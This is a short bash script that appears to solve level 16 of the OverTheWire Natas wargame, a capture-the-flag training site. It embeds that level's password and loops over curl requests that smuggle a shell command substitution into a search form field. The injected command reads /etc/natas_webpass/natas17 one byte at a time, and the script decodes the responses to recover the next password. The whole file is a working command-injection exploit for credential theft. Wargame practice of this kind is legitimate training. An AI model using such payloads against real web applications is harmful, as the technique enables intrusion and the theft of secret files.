natas16.sh

PASS=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
TMPFILE=`mktemp XXXXXXXXXXXXXXX.tmp` || exit 1

for i in {0..31}; do
    INJECT="needle=^\$(sed -n \$(od -An -tu1 -N 1 -j$i /etc/natas_webpass/natas17)p dictionary.txt)"
    curl http://natas16:${PASS}@natas16.natas.labs.overthewire.org/ --form "${INJECT}" 2> /dev/null | sed -n '23p' >> $TMPFILE
done

cat $TMPFILE | while read line; do
    ASCII=$(grep -n "^${line}$" dictionary.txt | cut -f1 -d:)
    printf "\x$(printf %x ${ASCII})"
done
echo

rm $TMPFILE